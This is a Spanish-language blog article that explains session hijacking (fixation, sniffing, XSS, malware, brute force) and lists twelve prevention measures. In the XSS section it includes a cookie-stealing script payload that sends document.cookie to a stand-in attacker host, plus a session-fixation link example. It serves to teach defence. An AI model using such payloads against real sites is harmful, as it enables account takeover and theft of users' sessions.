HIJACKING o secuestro de sesión: qué es y cómo protegerse

Aprende los detalles del Session Hijacking

by Silvia Mazzetta Date: 23-04-2021 seguridad XSS hijacking


Nadie quiere que le roben sus preciadas cookies. Y no, no estamos hablando de que alguien se cuele en su cocina y vacíe el delicioso contenido de tu tarro de galletas. Estamos hablando del secuestro de sesión.

Se trata de un peligroso tipo de ciberataque al que podrías ser vulnerable sin saberlo. De hecho, un reciente estudio de Stake descubrió que el 31% de las aplicaciones de comercio electrónico son vulnerables al secuestro de sesión. También conocido como secuestro de cookies, el secuestro de sesión es un tipo de ataque que podría dar lugar a que un hacker obtenga acceso completo a una de sus cuentas en línea.

El secuestro de sesión es un concepto tan aterrador como la cantidad de sitios a los que nos conectamos cada día.

Tómate un segundo para pensar en cuántos sitios a los que accedes diariamente requieren que inicies sesión con un conjunto de credenciales.

Para la gran mayoría de nosotros, es un número bastante superior a uno... También es un número que probablemente ha crecido de forma constante con el tiempo, a medida que más y más servicios en línea se convertían en parte de nuestro estilo de vida cada vez más "conectado". Y dado que hoy en día almacenamos información extremadamente sensible en línea, como números de tarjetas de crédito o de la seguridad social, los efectos pueden ser devastadores.

Entonces, ¿cómo funciona exactamente el secuestro de sesión? ¿Cuáles son los diferentes métodos que los atacantes pueden utilizar para llevarlo a cabo? ¿Y qué puede hacer usted para protegerse de sus intentos?

Vamos a explicarlo.

¿Qué es una sesión?

Antes de entrar en el tema del secuestro de sesiones, repasemos primero lo que se entiende exactamente por "sesión". HTTP es intrínsecamente sin estado, lo que significa que cada petición se lleva a cabo de forma independiente y sin conocimiento de las peticiones que se ejecutaron anteriormente. En términos prácticos, esto significa que tendrías que volver a introducir tu nombre de usuario y contraseña para cada página que vieras. Como resultado, los desarrolladores necesitaban crear una forma de rastrear el estado entre múltiples conexiones del mismo usuario, en lugar de pedirles que se vuelvan a autenticar entre cada clic en una aplicación web.

Las sesiones son la solución.

como funciona una sesión

Actúan como una serie de interacciones entre dos dispositivos, por ejemplo tu PC y un servidor web. Cuando se accede a una aplicación, se crea una sesión en el servidor. Ésta mantiene el estado y es referenciada durante cualquier solicitud futura que hagas.

Estas sesiones son utilizadas por las aplicaciones para mantener un registro de los parámetros específicos del usuario, y permanecen activas mientras el usuario sigue conectado al sistema. La sesión se destruye cuando el usuario cierra la sesión, o después de un periodo determinado de inactividad por su parte. En ese momento, los datos del usuario se borran del espacio de memoria asignado.

Los identificadores de sesión son una parte clave de este proceso. Son una cadena, normalmente aleatoria y alfanumérica, que se envía de un lado a otro entre el servidor y el cliente. Dependiendo de cómo esté codificado el sitio web, puedes encontrarlos en las cookies, las URL y los campos ocultos de los sitios web.

Una URL que contenga un identificador de sesión puede tener el siguiente aspecto:

www.miweb.com/view/76D595H6027693

En una página HTML, un ID de sesión puede ser almacenado como un campo oculto:

<input type=”hidden” name=”sessionID” value=”17D5Y5B”>

Aunque los identificadores de sesión son bastante útiles, también hay problemas potenciales de seguridad asociados a su uso. Si alguien consigue su ID de sesión, puede esencialmente entrar en su cuenta en ese sitio web.

Un problema común es que muchos sitios generan IDs de sesión basados en variables predecibles como la hora actual o la dirección IP del usuario, lo que los hace fáciles de determinar para un atacante.

Otro problema es que, sin SSL/TLS, se transmiten en abierto y son susceptibles de ser escuchados. Y, por desgracia, este tipo de vulnerabilidades pueden dejarle expuesto al secuestro de sesión.

¿Qué es el secuestro de sesión?

El secuestro de sesión ocurre cuando la sesión de un usuario es tomada por un atacante. Como ya hemos comentado, cuando te conectas a una aplicación web, el servidor establece una cookie de sesión temporal en tu navegador. Esto permite que el servidor remoto recuerde que usted está conectado y autenticado. Debido a que este tipo de ataque requiere que el atacante tenga conocimiento de su cookie de sesión, también se conoce como secuestro de cookies. Es uno de los métodos más populares para atacar la autenticación del cliente en la web.

secuestro se sesión

Un hacker necesita conocer el ID de sesión de la víctima para llevar a cabo el secuestro de sesión. Se puede obtener de diferentes maneras (más adelante), incluyendo el robo de la cookie de sesión o engañando al usuario para que haga clic en un enlace malicioso que contenga un ID de sesión preparado. De cualquier manera, el atacante puede tomar el control de la sesión utilizando el ID de sesión robado en su propia sesión del navegador. Básicamente, se engaña al servidor haciéndole creer que la conexión del atacante es la misma que la sesión original del usuario real.

Una vez que el hacker ha secuestrado la sesión, puede hacer todo lo que el usuario original está autorizado a hacer.

Dependiendo del sitio web, esto puede significar la compra fraudulenta de artículos, el acceso a información personal detallada que puede ser utilizada para el robo de identidad, el robo de datos confidenciales de la empresa, o simplemente vaciar la cuenta bancaria. También es una forma fácil de lanzar un ataque de ransomware, ya que un hacker puede robar y luego cifrar datos valiosos.

Las repercusiones pueden ser aún peores para las grandes empresas porque las cookies se utilizan a menudo para autenticar a los usuarios en los sistemas de inicio de sesión único (SSO). Esto significa que un ataque exitoso puede dar al atacante acceso a múltiples aplicaciones web a la vez, incluyendo sistemas financieros, bases de datos de clientes y lugares de almacenamiento que contienen valiosa propiedad intelectual. No hace falta decir que el secuestro de sesión no tiene nada de bueno, independientemente de quién sea.

Entonces, ¿cómo se realiza realmente el secuestro de sesión? Los piratas informáticos disponen de varios métodos.

Métodos comunes de secuestro de sesión

Fijación de sesión

Los ataques de fijación de sesión explotan la vulnerabilidad de un sistema que permite a alguien fijar (es decir, encontrar o establecer) el ID de sesión de otro usuario. Este tipo de ataque se basa en que el sitio web acepte los ID de sesión de las URL, la mayoría de las veces a través de intentos de phishing. Por ejemplo, un atacante envía por correo electrónico un enlace a un usuario objetivo que contiene un ID de sesión concreto. Cuando el usuario hace clic en el enlace y se conecta al sitio web, el atacante sabrá qué ID de sesión se está utilizando. Entonces puede utilizarlo para secuestrar la sesión. La secuencia exacta del ataque es la siguiente:

  1. Un atacante determina que http://www.webnosegura.com/ acepta cualquier identificador de sesión y no tiene validación de seguridad.
  2. El atacante envía a la víctima un correo electrónico de phishing, diciendo "Hola Mark, mira esta nueva función de cuenta de nuestro banco". El enlace dirige a la víctima a http://unsafewebsite.com/login?SID=123456. En este caso, el atacante intenta fijar el ID de sesión en 123456.
  3. La víctima hace clic en el enlace y aparece la pantalla de inicio de sesión habitual. No parece haber ningún problema y la víctima se conecta normalmente.
  4. El atacante puede ahora visita rhttp://www.webnosegura.com/?SID=123456 y tener acceso completo a la cuenta de la víctima.

robo se sesión

Una variación de este ataque ni siquiera requeriría que la víctima iniciara sesión en el sitio. En su lugar, el atacante fijaría la sesión para poder espiar a la víctima y controlar los datos que introduce. Es esencialmente el reverso del escenario que acabamos de discutir. El atacante inicia la sesión de la víctima por sí mismo, y luego la víctima utiliza el sitio con la autenticación del atacante. Si, por ejemplo, la víctima decide comprar algo, entonces el atacante puede recuperar los detalles de la tarjeta de crédito mirando los datos históricos de la cuenta.

Escaneado de sesión

El Session Sniffing es cuando un hacker emplea un sniffer de paquetes, como Wireshark, para interceptar y registrar los paquetes mientras fluyen a través de una conexión de red. Las cookies de sesión forman parte de este tráfico, y el sniffing de sesión permite a un atacante encontrarlas y robarlas.

Una vulnerabilidad común que deja a un sitio abierto a la interceptación de la sesión es cuando el cifrado SSL/TLS sólo se utiliza en las páginas de inicio de sesión. Esto evita que los atacantes vean la contraseña de un usuario, pero si SSL/TLS no se utiliza en el resto del sitio, puede producirse el secuestro de sesión. Los hackers podrán utilizar el rastreo de paquetes para monitorizar el tráfico de todos los demás en la red, lo que incluye las cookies de sesión.

Las redes Wi-Fi públicas son especialmente vulnerables a este tipo de ataque de secuestro de sesión. Un pirata informático puede ver la mayor parte del tráfico de la red simplemente iniciando una sesión y utilizando un rastreador de paquetes, ya que no hay autenticación de usuarios en la red. Del mismo modo, un hacker podría crear su propio punto de acceso y realizar ataques man-in-the-middle para obtener los ID de sesión y llevar a cabo ataques de secuestro de sesión.

robo de sesión en redes públicas

Scripts cruzados o Cross-Site Scripting (XSS)

Un ataque de cross-site scripting (XSS) engaña a la máquina del usuario para que ejecute un código malicioso, aunque lo considere seguro porque aparentemente proviene de un servidor de confianza. Cuando el script se ejecuta, permite al hacker robar la cookie.

Las vulnerabilidades del servidor o de la aplicación se aprovechan para inyectar scripts del lado del cliente (normalmente JavaScript) en las páginas web, lo que hace que el navegador ejecute el código cuando carga la página comprometida. Si el servidor no establece el atributo HttpOnly en las cookies de sesión, los scripts maliciosos pueden acceder a su ID de sesión.

Un ejemplo de ataque de cross-site scripting para ejecutar el secuestro de sesión sería cuando un atacante envía correos electrónicos con un enlace especial a un sitio web conocido y de confianza. El problema, sin embargo, es que el enlace también contiene parámetros de consulta HTTP que explotan una vulnerabilidad conocida para inyectar un script.

Para el secuestro de sesión, el código que forma parte del ataque XSS podría enviar la clave de sesión de la víctima al propio sitio del atacante. Por ejemplo:

http://www.webdetubanco.com/search?<script>location.href=’http://www.soyelhacker.com/hijacker.php?cookie=’+document.cookie;</script>

Aquí el comando document.cookie leería la cookie de sesión actual y la enviaría al atacante a través del comando location.href. Este es un ejemplo simplificado, y en un ataque del mundo real el enlace probablemente emplearía codificación de caracteres y/o acortamiento de la URL para ocultar las partes sospechosas del enlace.

Malware

El malware y otros programas maliciosos de terceros también pueden provocar el secuestro de sesión. Los hackers diseñan el malware para que realice el rastreo de paquetes y lo configuran para que busque específicamente las cookies de sesión. Cuando encuentra una, la roba y la envía al atacante. El malware básicamente lleva a cabo un ataque automatizado de rastreo de sesión contra el usuario.

Otro método más directo para robar los ID de sesión es obtener acceso a la máquina del usuario, ya sea a través de un malware o conectándose directamente a ella de forma local o remota. Entonces, el atacante puede navegar hasta la carpeta de almacenamiento local temporal del navegador, o "tarro de cookies" (cookies jar), y trabajar en la cookie que quiera.

Fuerza bruta o Brute Force

Por último, un hacker puede intentar determinar el ID de sesión por su cuenta. Esto puede lograrse mediante dos métodos.

En primer lugar, puede intentar adivinar el ID de sesión. Esto puede tener éxito si el ID de sesión se basa en una variable fácilmente predecible (como ya hemos comentado) como la dirección IP del usuario o la hora o fecha actual.

Los identificadores de sesión secuenciales se utilizaban a menudo en los primeros días de la web, pero ya no se utilizan debido a sus patrones fácilmente identificables.

También se puede utilizar un ataque de fuerza bruta, en el que un atacante intenta utilizar varios identificadores de sesión una y otra vez a partir de una lista establecida. En realidad, esto sólo es un medio factible para secuestrar la sesión si el formato del ID de sesión consiste en un número relativamente corto de caracteres.

Ambos métodos de ataque pueden evitarse fácilmente utilizando el algoritmo adecuado para generar los ID de sesión. Si se utiliza un algoritmo que genere IDs de sesión largos, compuestos por letras y números aleatorios, será casi imposible que un hacker realice un secuestro de sesión a sus usuarios.

Cómo prevenir el secuestro de sesión

Aunque hay muchas formas diferentes de que los hackers lleven a cabo ataques de secuestro de sesión, la buena noticia es que hay medidas de seguridad relativamente sencillas y mejores prácticas que puedes emplear para protegerte. Cada una de ellas protege contra diferentes métodos de secuestro de sesión, por lo que es conveniente que pongas en práctica todas las que puedas. Estas son algunas de las medidas de prevención más comunes con las que querrás empezar:

1. Utilizar HTTPS en Todo su Sitio

Como hemos visto, usar HTTPS sólo en las páginas de inicio de sesión no le mantendrá completamente a salvo del secuestro de sesión. Utilice SSL/TLS en todo su sitio, para encriptar todo el tráfico que pasa entre las partes. Esto incluye la clave de sesión. Los principales bancos y sistemas de comercio electrónico utilizan HTTPS en todas partes porque evita completamente los ataques de sniffing.

2. Utilizar el indicador de cookies seguras o Secure Cookie Flag

La bandera segura puede ser establecida por el servidor de la aplicación cuando se envía una nueva cookie como parte de una respuesta HTTP. Esto le dice al navegador del usuario que sólo envíe la cookie a través de HTTPS - nunca debe ser enviada a través de HTTP. Esto evita que las cookies sean vistas por los atacantes cuando se transmiten en texto claro.

3. Utilizar IDs de sesión largos y aleatorios

Al utilizar un número o cadena larga y aleatoria como identificador de sesión, se reduce en gran medida el riesgo de que pueda ser adivinado por ensayo y error o por un ataque de fuerza bruta.

4. Regenerar el ID de sesión después del inicio de sesión

Esto previene la fijación de la sesión porque el ID de la sesión se cambiará después de que el usuario inicie la sesión. Incluso si el atacante engaña al usuario para que haga clic en un enlace con un ID de sesión fijado, no podrá hacer nada importante. Inmediatamente después del inicio de sesión, su ID de sesión fijado no tendrá ningún valor.

5. Realice comprobaciones secundarias

Las comprobaciones adicionales pueden ayudar a verificar la identidad del usuario. Por ejemplo, un servidor puede comprobar que la dirección IP del usuario para una solicitud concreta coincide con la dirección IP utilizada para la solicitud anterior. Sin embargo, hay que tener en cuenta que esta solución específica podría crear problemas para aquellos cuya dirección IP cambie, y no evita los ataques de alguien que comparta la misma dirección IP.

6. Cambiar el valor de la cookie

Hay servicios que pueden cambiar el valor de la cookie después de cada solicitud. Técnicamente, ya que no se puede modificar directamente una cookie, en realidad se crea una nueva cookie con nuevos valores y se envía al navegador para sobrescribir la versión anterior. Esto reduce en gran medida la ventana en la que puede producirse un ataque, y hace que sea más fácil identificar si se ha producido un ataque. Sin embargo, hay que tener en cuenta que dos peticiones con tiempos muy cercanos desde el mismo cliente pueden llevar a un error de comprobación de tokens. En ese caso, puedes cambiar el tiempo de expiración de la cookie al tiempo más corto que no cause errores.

7. Cierra la sesión cuando hayas terminado

Ve a lo seguro y cierra la sesión de los sitios web cuando hayas terminado de usarlos.

8. Utilizar anti-malware

Utilice siempre software anti-malware, tanto en las máquinas del lado del servidor como del lado del cliente. Esto evitará que el software que roba las cookies entre en su sistema.

9. No acepte identificadores de sesión de las variables GET/POST

Los IDs de sesión en las URLs (cadenas de consulta o variables GET) o variables POST facilitan el secuestro de sesión. Como hemos visto, es común que los atacantes hagan enlaces o formularios que establezcan estas variables.

10. Aceptar sólo los ID de sesión generados por el servidor

Esto es muy sencillo. Sólo acepte IDs de sesión de una fuente de confianza, en este caso el servidor.

11. Tiempo de espera de las sesiones inactivas

Esto reduce la ventana de tiempo para un ataque y protege a un hacker de acceder a una máquina que ha quedado desatendida.

12. Destruir Referrers sospechosos

Cuando un navegador visita una página, establecerá la cabecera Referrer. Esta contiene el enlace que ha seguido para llegar a la página. Una forma de combatir el secuestro de sesión es comprobar el encabezado de referencia y eliminar la sesión si el usuario viene de un sitio externo.

Conclusions

Como hemos visto, diferentes medidas de seguridad evitarán diferentes métodos de secuestro de sesión. Al emplear estas configuraciones y mejores prácticas juntas, se asegurará de tener la protección más completa contra el secuestro de sesión.

Por ejemplo, el uso de HTTPS previene por completo el secuestro de sesión de tipo sniffing, pero no protegerá si se hace clic en un enlace de phishing a un ataque de secuencias de comandos en sitios cruzados (XSS) o se utilizan identificadores de sesión fáciles de adivinar. Una combinación de medidas de seguridad adecuadas y una formación eficaz es la única forma segura de mantenerse a salvo.

Si buscas el mejor punto de partida para protegerte del secuestro de sesión, el HTTPS en todo el sitio es tu mejor y más fácil opción.

Dile no al HTTP de texto plano y utiliza estos consejos para mantenerte a salvo del secuestro de sesión.

 
by Silvia Mazzetta Date: 23-04-2021 seguridad XSS hijacking visitas : 1581  
 
Silvia Mazzetta

Silvia Mazzetta

Web Developer, Blogger, Creative Thinker, Social media enthusiast, Italian expat in Spain, mom of little 7 years old geek, founder of  @manoweb. A strong conceptual and creative thinker who has a keen interest in all things relate to the Internet. A technically savvy web developer, who has multiple  years of website design expertise behind her.  She turns conceptual ideas into highly creative visual digital products. 

 
 
 

Artículos relacionados

6 mejores navegadores alternativos centrados en la privacidad en 2021

En el artículo de hoy echamos un vistazo a los navegadores privados gratuitos que son relevantes en 2021. Compararemos sus ventajas y desventajas, especificaciones, etc. Entremos el tema. ¿Qué son los navegadores…

Google Dorks Como Encontrar Datos Interesantes y Buscar Como Un Hacker

¿Van juntas las palabras Google y Hacking? Bueno, si usted pensó que vamos a aprender cómo utilizar el hack Google, usted podría estar equivocado. Pero podemos Usar el motor de búsqueda…

Las vulnerabilidades del software - una guía para novatos

¿Qué son las vulnerabilidades del software? El número de dispositivos conectados a Internet crece cada día. Y entre esos dispositivos no sólo encontramos ordenadores y móviles inteligentes, sino también un número…

La vulnerabilidad de BleedingTooth y otros riesgos de seguridad del Bluetooth

¿Has oído hablar alguna vez de BleedingTooth? Y no nos referimos a la seta de aspecto realmente perturbador que se llama así y que es totalmente real (lo comprobamos dos veces),…

Cómo los hackers comprueban si su sitio web es pirateable

Memento mori es la expresión latina usada para referirse al hecho de que todos somos mortales. Según la tradición, esta frase se susurraba a los triunfantes comandantes militares romanos en…

Cloudflare, que es y para que sirve

CloudFlare protege, acelera y optimiza sitios web, es un sistema gratuito que actúa como un proxy (intermediario) entre los visitantes del sitio web y el servidor, osea que opera una…

Hacer copias de seguridad en la nube con PHP y la API de copy.com

  Copy.com es un servicio de almacenamiento en la nube, muy parecido a Dropbox, que brinda la posibilidad a que las personas que se inscriben puedan recibir inmediatamente 15GB de espacio…

Hacking ético para diagnosticar la seguridad de una web: 15 herramientas

Las pruebas de intrusión, conocidas como "Análisis de Penetración" o "Hacking Ético", son actualmente una práctica habitual para conocer el nivel de seguridad que tiene una web. Dichas pruebas se encargan…

Los ciberdelincuentes juegan con los perfiles corporativos en Twitter

En los últimos meses, los hackers se han atacado los perfiles de Twitter de grandes empresas como Burger King, Jeep y Twitter. Los ataques tratan de difundir información falsa a través de las mismas…

El software pirata en las empresas y seguridad informática

En España el 44% del software utilizado en las empresas es ilegal. Así lo certifica la BSA (Business Software Alliance) en esta infografía en la que enseña el panorama actual de la…

Utilizamos cookies propias y de terceros para mejorar nuestros servicios, elaborar información estadística y analizar tus hábitos de navegación. Esto nos permite personalizar el contenido que ofrecemos y mostrarte publicidad relacionada con tus preferencias. Clicando en ‘Acepta todas’ aceptas el almacenamiento de cookies en tu dispositivo para mejorar la navegación en el sitio web, analizar el tráfico y ayudar en nuestras actividades de marketing. También puedes seleccionar ‘Sólo cookies de sistema’ para aceptar sólo las cookies necesarias para que la web funcione, o puedes seleccionar las cookies que quieres activar clicando en ‘Configuración’

Acepta todas Sólo cookies de sistema Configuración